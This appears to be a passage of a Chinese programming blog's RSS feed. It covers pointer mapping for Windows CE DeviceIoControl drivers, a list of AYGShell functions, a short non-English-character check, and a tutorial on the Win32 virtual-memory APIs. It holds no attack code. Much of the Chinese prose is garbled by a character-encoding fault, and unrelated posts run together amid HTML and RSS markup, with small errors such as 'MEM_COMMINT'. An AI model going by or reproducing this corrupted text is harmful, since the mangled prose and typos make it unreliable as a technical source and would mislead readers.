class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><o:p><font face="Times new roman" size="3"> </font></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span style="font-family: 宋体;">按照</span><span lang="EN-US"><font face="Times New Roman">PB</font></span><span style="font-family: 宋体;">q接帮助文看,</span></font></p> <p><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">The operating system (OS ) manages </span><span style="background: #316ac5 none repeat scroll 0% 0%; font-size: 8.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white; font-family: verdana;" lang="EN-US">pointers</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US"> passed directly as parameters. Drivers must map all </span><span style="background: #316ac5 none repeat scroll 0% 0%; font-size: 8.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white; font-family: verdana;" lang="EN-US">pointers</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US"> contained in structures. DeviceIoControl buffers are often structures that contain data, some of which might be </span><span style="background: #316ac5 none repeat scroll 0% 0%; font-size: 8.5pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: white; font-family: verdana;" lang="EN-US">pointers</span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">. <o:p></o:p></span></p> <p><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">You can map a pointer contained in a structure by calling MapPtrToProcess, setting the first parameter to the pointer, and then setting the second parameter to GetCallerProcess.<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">指针已经映射好了Q但是它指向的结构里的指针我们需要自׃?/span><span style="font-size: 12pt; color: black; font-family: 宋体;" lang="EN-US">MapPtrToProcess</span></font><span style="font-size: 12pt; color: black; font-family: 宋体;">函数映射?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; color: black; font-family: 宋体;">q也是Q?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>pMap1 =<span>  </span>MapPtrToProcess(pcs->pBuffer1,GetCallerProcess());</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>                         </span>pMap2 =<span>  </span>MapPtrToProcess(pcs->pBuffer2,GetCallerProcess());</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">的由来,可是后面的代码没有?span lang="EN-US">pMap1</span>Q?span lang="EN-US">pMap2</span>。而是直接使用Q?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font face="Times new roman" size="3">memcpy(pcs->pBuffer2,pcs->pBuffer1,pcs->nLen);</font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span style="font-family: 宋体;"><font size="3">而且它还工作了,没有出现<span lang="EN-US">exception</span>。很奇怪。我W一ơ在一个家伙的代码里看见这U情况,很吃惊,但是它工作的很好Q是文出错了?<span lang="EN-US"><o:p></o:p></span></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">我们来分析一下,看看应用E序的代码:<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>COPY_STRUCT cs[1];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>  </span>auto char data1[10];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>auto char data2[10];</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">cs</span><span style="font-size: 12pt; font-family: 宋体;">l构?span lang="EN-US">data1</span>Q?span lang="EN-US">data2</span>数组都是自动变量Q存攑֜堆栈里。假设这个应用程序被加蝲?span lang="EN-US">0x18000000</span>位置?span lang="EN-US">slot</span>里,那么他们的地址都是<span lang="EN-US">0x18XXXXXX</span>。不熟悉<span lang="EN-US">wince memory architecture</span>的可以看看资料,了解一?span lang="EN-US">slot</span>。当调用?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><font size="3"><span lang="EN-US"><font face="Times New Roman">DeviceIoControl</font></span><span style="font-family: 宋体;">Q按照文档的说法Q?/span><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">指针得到了{换,因ؓ从应用程序的q程转到?/span><span lang="EN-US"><font face="Times New Roman">device.exe</font></span><span style="font-family: 宋体;">q程Q?/span><span lang="EN-US"><font face="Times New Roman">device</font></span><span style="font-family: 宋体;">q程又是当前的运行的q程Q被映射C</span><span lang="EN-US"><font face="Times New Roman">slot0</font></span><span style="font-family: 宋体;">Q系l负责{?/span><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">指针。?/span><span lang="EN-US"><font face="Times New Roman">cs</font></span><span style="font-family: 宋体;">包含?/span><span lang="EN-US"><font face="Times New Roman">pBuffer1</font></span><span style="font-family: 宋体;">?/span><span lang="EN-US"><font face="Times New Roman">pBuffer2</font></span><span style="font-family: 宋体;">是没有映不能直接用的?/span></font></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">事实上,我们传过来的指针Ҏ是不需要映,因ؓ他们都是<span lang="EN-US">0x18xxxxxx,</span>在应用程序的<span lang="EN-US">slot</span>里,所以只?span lang="EN-US">device.exe</span>有访问应用程序的权限Q就可以了。而这个权限,pȝ已经帮我们设|好了?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">那什么情况下要自己映呢Q?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">如果应用E序在定?span lang="EN-US"> data1</span>?span lang="EN-US">data2</span>使用<span lang="EN-US">static</span>关键字,或者?span lang="EN-US">LocalAlloc</span>Q?span lang="EN-US">HeapAlloc</span>的时候,一定要自己映射<span lang="EN-US">cs</span>里的指针?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">在应用程序里q样写:<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>cs.pBuffer1 = (char *)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>cs.pBuffer2 = (char*)malloc(10);</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 10.5pt;"><span lang="EN-US"><font size="3"><font face="Times New Roman"><span>    </span>cs.nLen = 10;</font></font></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">如果不?/span><span style="font-size: 8.5pt; color: black; font-family: verdana;" lang="EN-US">MapPtrToProcess</span><span style="font-size: 12pt; font-family: 宋体;">完成映射Q那出?span lang="EN-US">data abort exception.<o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">Z么呢Q?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">因ؓq些变量都是在堆里分配的Q而当应用E序q行Ӟ被映到<span lang="EN-US">slot0</span>Q堆的地址也就是处?span lang="EN-US">slot</span>的范围内Q传递到<span lang="EN-US">device.exe</span>后,<span lang="EN-US">device.exe</span>被映到?span lang="EN-US">slot0</span>Q这个时候必要应用程序的指针映射回应用程序所在的<span lang="EN-US">slot</span>。否则访问的?span lang="EN-US">device.exe</span>的空_会发生不可知道的l果?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">验证一下上面说的地址分配问题?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">我们q样定义<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 18pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">COPY_STRUCT cs[1];<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>  </span>static char data1[10]; </span><span style="font-size: 12pt; font-family: 宋体;">堆里<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>  </span>auto char data2[10];<span>   </span></span><span style="font-size: 12pt; font-family: 宋体;">栈里<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">q样赋|<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>  </span>cs[0].pBuffer1 = &data1[0];<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>  </span>cs[0].pBuffer2 = &data2[0];<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>  </span>cs[0].nLen = 10;<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">调试信息Q?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">cs[0].pBuffer1 = &data1[0];<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112D0<span>   </span>ldr<span>       </span>r2, [pc, #0xD0]<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112D4<span>   </span>str<span>       </span>r2, [sp, #0x10]<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">d<span lang="EN-US">&data1[0]</span>使用的是<span lang="EN-US">PC</span>作ؓ基址Q而此时的应用E序处于q行阶段映射?span lang="EN-US">slot0</span>Q那?span lang="EN-US">pc</span>也就?span lang="EN-US">0~01ffffff</span>范围Q我的调试结果是?span lang="EN-US">0x000112D0+8,</span>使用的是<span lang="EN-US">arm</span>Q流水线机制Q当前指令地址Q?span lang="EN-US">8</span>才是<span lang="EN-US">pc</span>倹{?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">143:<span>      </span>cs[0].pBuffer2 = &data2[0];<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112D8<span>   </span>add<span>      </span><span> </span>r0, sp, #0x20<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US">180112DC<span>   </span>str<span>       </span>r0, [sp, #0x14]<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">d<span lang="EN-US">&data2[0]</span>采用的是<span lang="EN-US">sp</span>作ؓ基址Q?span lang="EN-US">sp</span>在应用程序加载到<span lang="EN-US">slot</span>的时候就定了的。所以保持了在应用程?span lang="EN-US">slot</span>的|处于<span lang="EN-US">0x18xxxxxx</span>范围?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">我们看到因ؓ<span lang="EN-US">wince</span>?span lang="EN-US">slot</span>机制Q我们有时候需要映,有时候不需要。所?span lang="EN-US">wince</span>文档说结构里的指针要映射。毕竟你不知道应用程序怎么写?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">当然Q你可以Ҏ不映,只要把那个结构屏蔽调Q写一?span lang="EN-US">STATIC LIBRARY</span>l用户用,自己保证使用正确的地址分配可以了。上面我说的那个家伙是q么q的?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">好了Q接着<span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">调用Q?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><span>  </span>CloseHandle(hnd);<o:p></o:p></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;">E序l束了,完成了一ơ简单的拯?span lang="EN-US"><o:p></o:p></span></span></p> <p class="MsoNormal" style="margin: 0cm 0cm 0pt; text-indent: 12pt;"><span style="font-size: 12pt; font-family: 宋体;" lang="EN-US"><o:p> </o:p></span></p> <span style="font-size: 12pt; font-family: 宋体;">q个框架完成了,<span lang="EN-US">driver</span>的基本接口设计,了内存指针的使用问题。但是相对于一个真正的<span lang="EN-US">driver</span>Q还~少点东西,是讉Kg的方法。下面l讨论如何访问硬件?/span><img src ="http://www.shnenglu.com/zjj2816/aggbug/58805.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zjj2816/" target="_blank">井泉</a> 2008-08-14 09:28 <a href="http://www.shnenglu.com/zjj2816/archive/2008/08/14/58805.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>windows mobile 函数http://www.shnenglu.com/zjj2816/archive/2007/12/25/39552.html井泉井泉Tue, 25 Dec 2007 02:00:00 GMThttp://www.shnenglu.com/zjj2816/archive/2007/12/25/39552.htmlhttp://www.shnenglu.com/zjj2816/comments/39552.htmlhttp://www.shnenglu.com/zjj2816/archive/2007/12/25/39552.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/39552.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/39552.htmlOutlook DLock allows you to unlock locked attached files in Outlook XP.
NETCFv2.wm.armv4i.cab     ,System_SR_CHS_wm.cab  


以下 API 通过 AYGShell 公开?br>
~程元素 说明
SHChangeNotifyDeregister
 该函数禁用窗口接收文件更攚w知的功能?br> 
SHChangeNotifyFree
 该函数清除文件更攚w知?br> 
SHChangeNotifyRegister
 该函数登记用于接收更攚w知的应用程序?br> 
SHCloseApps
 该函数尝试ؓ应用E序释放内存?br> 
SHCreateMenuBar
 该函数在屏幕底部创徏菜单栏?br> 
SHCreateNewItem
 该函C~程方式创徏新的,好像该项是从全局 NEW 下拉菜单中选择的?br> 
SHDoneButton
 该函数允许应用程序基于应用程序的状态动态显C或隐藏 OK 按钮?br> 
SHEnumPropSheetHandlers
 该函数通过枚Dc项 hkey 下面的子Ҏ支持属性表扩展?br> 
SHFindMenuBar
 该函数用来获得菜单栏H口的句柄?br> 
SHFreeContextMenuExtensions
 该函数释放ؓ处理上下文菜单而分配的内存?br> 
SHFullScreen
 该函数用来接某些屏q区域?br> 
SHGetAppKeyAssoc
 该函数用于确定导航控件是否被映射到应用程序?br> 
SHGetAutoRunPath
 该函数搜索第一个存储卡Qƈ构造用来查找自动运行文件的路径?br> 
SHHandleWMActivate
 该函数用来帮助管理输入面板和您的应用E序?br> 
SHHandleWMSettingChange
 该函数用来帮助管理输入面板和您的应用E序?br> 
SHInitDialog
 该函数调整对话框的大,使其适合软g输入面板?br> 
SHInitExtraControls
 该函数调整对话框的大,使其适合软g输入面板?br> 
SHInputDialog
 该函数用于处理输入对话框?br> 
SHInvokeContextMenuCommand
 该函数调用上下文菜单中的命o?br> 
SHLoadContextMenuExtensions
 该函C指定的上下文和类的配Ҏ对应的注册表中列出的处理E序加蝲上下文菜单扩展?br> 
SHNotificationAdd
 该函数将通知异步地添加到通知栏?br> 
SHNotificationGetData
 该函数获得通知的数据?br> 
SHNotificationRemove
 该函数删除通知?br> 
SHNotificationUpdate
 该函数更新挂起通知的某些方面的内容?br> 
SHRecognizeGesture
 该函数被自定义控件用来识别某些笔针的W势?br> 
SHSetAppKeyWndAssoc
 该函数指z某个窗口负责接收特定硬件按键的按键消息?br> 
SHSetNavBarText
 该函数设|Q务栏中的标题文本?br> 
SHSipInfo
 该函数向外壳查询与输入面板和输入Ҏ有关的信息?br> 
SHSipPreference
 该函Cؓ输入面板h位置?br>

通过provxml文g配置的,

q个文g必须要编到BIN里Q如果修Ҏ件名Qbib也要相应修改?br>
platform.bib


井泉 2007-12-25 10:00 发表评论
]]>
判断是否有非英文字符http://www.shnenglu.com/zjj2816/archive/2007/11/19/36951.html井泉井泉Mon, 19 Nov 2007 08:07:00 GMThttp://www.shnenglu.com/zjj2816/archive/2007/11/19/36951.htmlhttp://www.shnenglu.com/zjj2816/comments/36951.htmlhttp://www.shnenglu.com/zjj2816/archive/2007/11/19/36951.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/36951.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/36951.html{
 char nstring[100]={0};
 wcstombs( nstring,str,100);
 return (strlen(nstring)==wcslen(str));
 
}

井泉 2007-11-19 16:07 发表评论
]]>
Q{QWindows应用E序捆绑核心~程http://www.shnenglu.com/zjj2816/archive/2007/11/15/36670.html井泉井泉Thu, 15 Nov 2007 04:40:00 GMThttp://www.shnenglu.com/zjj2816/archive/2007/11/15/36670.htmlhttp://www.shnenglu.com/zjj2816/comments/36670.htmlhttp://www.shnenglu.com/zjj2816/archive/2007/11/15/36670.html#Feedback0http://www.shnenglu.com/zjj2816/comments/commentRss/36670.htmlhttp://www.shnenglu.com/zjj2816/services/trackbacks/36670.html1.3  虚拟内存讉K

每个q程都拥有自q虚拟地址I间Q那么怎样才能讉Kq个I间呢?q就需要用到Windows API函数。这些函数直接与~写E序相关Q因而更受Y件工E师的关注。有兌斚w的函数较多,q里介绍几个重要的函数?/p>

1.3.1  获取pȝ信息

在一个程序中不能直接应用某个pȝ的设备参敎ͼ否则不利于E序的移植。因此,如果实需要用到这L讑֤参数Q则需要一个系l信息函数来获得。VC++ ~译器所提供q样的函CؓGetSystemInfo()。该函数需要一个指向SYSTEM_INFOl构的指针作为参数。其原型表示为:

l           

void GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);

l           

其中lpSystemInfoq回LPSYSTEM_INFOl构的地址Q用于装载适当的系l信息,q个l构体定义ؓQ?/p>

l           

typedef struct _SYSTEM_INFO { 

    union {   

        DWORD dwOemId;   

        struct {     

            WORD wProcessorArchitecture;      

            WORD wReserved;   

        };

    }; 

   

    DWORD  dwPageSize; 

    LPVOID  lpMinimumApplicationAddress; 

    LPVOID  lpMaximumApplicationAddress; 

    DWORD_PTR  dwActiveProcessorMask; 

    DWORD  dwNumberOfProcessors; 

    DWORD  dwProcessorType; 

    DWORD  dwAllocationGranularity; 

    WORD   wProcessorLevel; 

    WORD   wProcessorRevision;

} SYSTEM_INFO;

l           

其中参数含义如下所q?/p>

dwOemIdQ是一个过旉项Q用于与Windows NT 3.5以及以前的版本兼宏V?/p>

wProcessorArchitectureQ指明处理的l构Q如Intel、Alpha、Intel 64位或Alpha       64位?/p>

dwPageSizeQ用于显CCPU的页面大。在x86 CPU上,q个值是4096字节。在Alpha CPU上,q个值是8192字节。在IA-64上,q个值是8192字节?/p>

lpMinimumApplicationAddressQ用于给出每个进E可用地址I间的最内存地址。在Windows 98上,q个值是0x400000Q因为每个进E的地址I间中下面的4MB是不能用的。在Windows 2K/XP上,q个值是0x10000Q因为每个进E的地址I间中开头的64KBLI闲的?/p>

lpMaximumApplicationAddressQ用于给出每个进E可用地址I间的最大内存地址。在Windows 98上,q个地址?x7FFFFFFFQ因为共享内存映文件区域和׃n操作pȝ代码包含在上面的2GB分区中。在Windows XP上,q个地址?x7FFEFFFF?/p>

dwActiveProcessorMaskQ位屏蔽Q指明哪个CPU是活动的?/p>

dwNumberOfProcessorsQ计机中CPU的数目?/p>

dwProcessorTypeQ处理器cd?/p>

dwAllocationGranularityQ保留的地址I间区域的分配粒度?/p>

wProcessorLevelQ进一步细分处理器的结构?/p>

wProcessorRevisionQ用于进一步细分处理器的别?/p>

wReservedQ保留供来使用?/p>

在以上参C只有lpMinimumApplicationAddress、lpMaximumApplicationAddress、dwPageSize和dwAllocationGranularity与内存有兟?/p>

1.3.2  在应用程序中使用虚拟内存

对内存分配可以采用不同的ҎQ常用的Ҏ有:用C/C++语言的内存分配函敎ͼ例如Q用malloc() ?free()、new ?delete 函数分配和释攑֠内存Q用Windows传统的全局或者局部内存分配函敎ͼ如GlobalAlloc()和GlobalFree()Q用Win32的堆分配函数Q如HeapAlloc()和HeapFree()Q用Win32的虚拟内存分配函敎ͼ如VirtualAlloc()和VirtualFree()。注意,用不同的Ҏ分配内存后,要用相对应的函数来释放所占用的内存。这里只介绍Win32的虚拟内存分配函数?/p>

在进E创Z初ƈ被赋予地址I间Ӟ其虚拟地址I间未分配Q处于空闲状态。这时地址I间内的内存是不能用的Q必通过VirtualAlloc()函数来分配其中的各个区域Q对其进行保留。VirtualAlloc()函数原型为:

l           

LPVOID VirtualAlloc(

    LPVOID lpAddress,

    DWORD dwSize,

    DWORD flAllocationType,

    DWORD flProtect

    );

l           

该函数用来分配一定范围的虚拟c参?指定起始地址Q参?指定分配内存的长度;参数3指定分配方式Q取值MEM_COMMINT或者MEM_RESERVEQ参?指定控制讉K本次分配的内存的标识Q取gؓPAGE_READONLY、PAGE_READWRITE或者PAGE_NOACCESS?/p>

分配完成后,卛_q程的虚拟地址I间中保留了一个区域,可以Ҏ区域中的内存q行保护权限许可范围内的讉K。当不再需要访问此地址I间区域Ӟ应释放此区域Q由VirtualFree()负责完成。其函数原型为:

l           

BOOL VirtualFree(

    LPVOID lpAddress,

    DWORD dwSize,

    DWORD dwFreeType

    );

l           

其中参数含义如下所q?/p>

lpAddressQ指向待释放面区域的指针。如果参数dwFreeType指定了MEM_RELEASEQ则lpAddress必须为页面区域保留由VirtualAlloc()所q回的基地址?/p>

dwSizeQ指定了要释攄地址I间区域的大,如果参数dwFreeType指定了MEM_RELEASE标志Q则dwSize讄?Q由pȝ计算在特定内存地址上的待释攑֌域的大小?/p>

dwFreeTypeQؓ所执行的释放操作的cdQ其可能的取gؓMEM_RELEASE和MEM_DECOMMITQ其中MEM_RELEASE标志指明要释放指定的保留面区域QMEM_DECOMMIT标志则对指定的占用页面区域进行占用的解除?/p>

如果VirtualFree()执行完成Q将回收全部范围的已分配面Q此后如再对q些已释  N面区域内存进行访问将引发内存讉K异常。释攑֐的页面区域可供系ll分?nbsp;  使用?/p>

1.3.3  获取虚存状?/h3>

Windows API函数GlobalMemoryStatus()可用于检索关于当前内存状态的动态信息。在软g的About对话框中Q通常用这个函数来获取pȝ内存的用情c其函数原型为:

l           

void GlobalMemoryStatus(LPMEMORYSTATUS lpmstMemStat);

l           

其中lpmstMemStatq回MEMORYSTATUSl构的地址Q这个结构体的定义ؓQ?/p>

l           

typedef struct MEMORYSTATUS{

    DWORD dwLength;

    DWORD dwMemoryLoad;        

    DWORD dwTotalPhys;

    DWORD dwAvailPhys;

    DWORD dwTotalPageFile;

    DWORD dwAvailPageFile;

    DWORD dwTotalVirtual;

    DWORD dwAvailVirtual; 

} MEMORYSTATUS ,* LPMEMORYSTATUS;

l           

其中参数含义如下所q?/p>

dwLengthQMEMORYSTATUSl构大小?/p>

dwMemoryLoadQ已使用内存所占的癑ֈ比?/p>

dwTotalPhysQ物理存储器的d节数?/p>

dwAvailPhysQ空闲物理存储器的字节数?/p>

dwTotalPageFileQ页文g包含的最大字节数?/p>

dwAvailPageFileQ用h式分ZI闲内存大小?/p>

dwTotalVirtualQ用h式分区大?/p>

dwAvailVirtualQ表C当前进E中q剩下的自由区域的d?/p>

在调用GlobalMemoryStatus()之前Q必ddwLength成员初始化ؓ用字节表C的l构的大,即一个MEMORYSTATUSl构的大。这个初始化操作使得Microsoft能够在新版本Windowspȝ中将新成员添加到q个l构中,而不会破坏现有的应用E序。当调用GlobalMemoryStatus()Ӟ它将对该l构的其余成员进行初始化q返回?/p>

如果某个应用E序在内存大?GB的计机上运行,或者合计交换文件的大小大于4GBQ那么可以用新的GlobalMemoryStatusEx()函数。其函数的原型ؓQ?/p>

l           

BOOL GlobalMemoryStatusEx(MEMORYSTATUSEX  &mst);

l           

其中mstq回MEMORYSTATUSEXl构的填充信息,该结构体与原先的MEMORYSTATUSl构基本相同Q差别在于新l构的所有成员的大小都是64位宽Q因此它的值可以大? GB?/p>

1.3.4  定虚拟地址I间的状?/h3>

对内存的理除了对当前内存的使用状态信息进行获取外Q还l常需要获取有兌E的虚拟地址I间的状态信息。例如,如何得到一个进E已提交的页面范_q就要用C?API函数VirtualQuery()或VirtualQueryEx()来进行查询。这两个函数的功能相|不同是VirtualQuery()只是查询本进E内存空间信息,而VirtualQueryEx()可以查询指定q程的内存空间信息。VirtualQuery()函数原型如下Q?/p>

l           
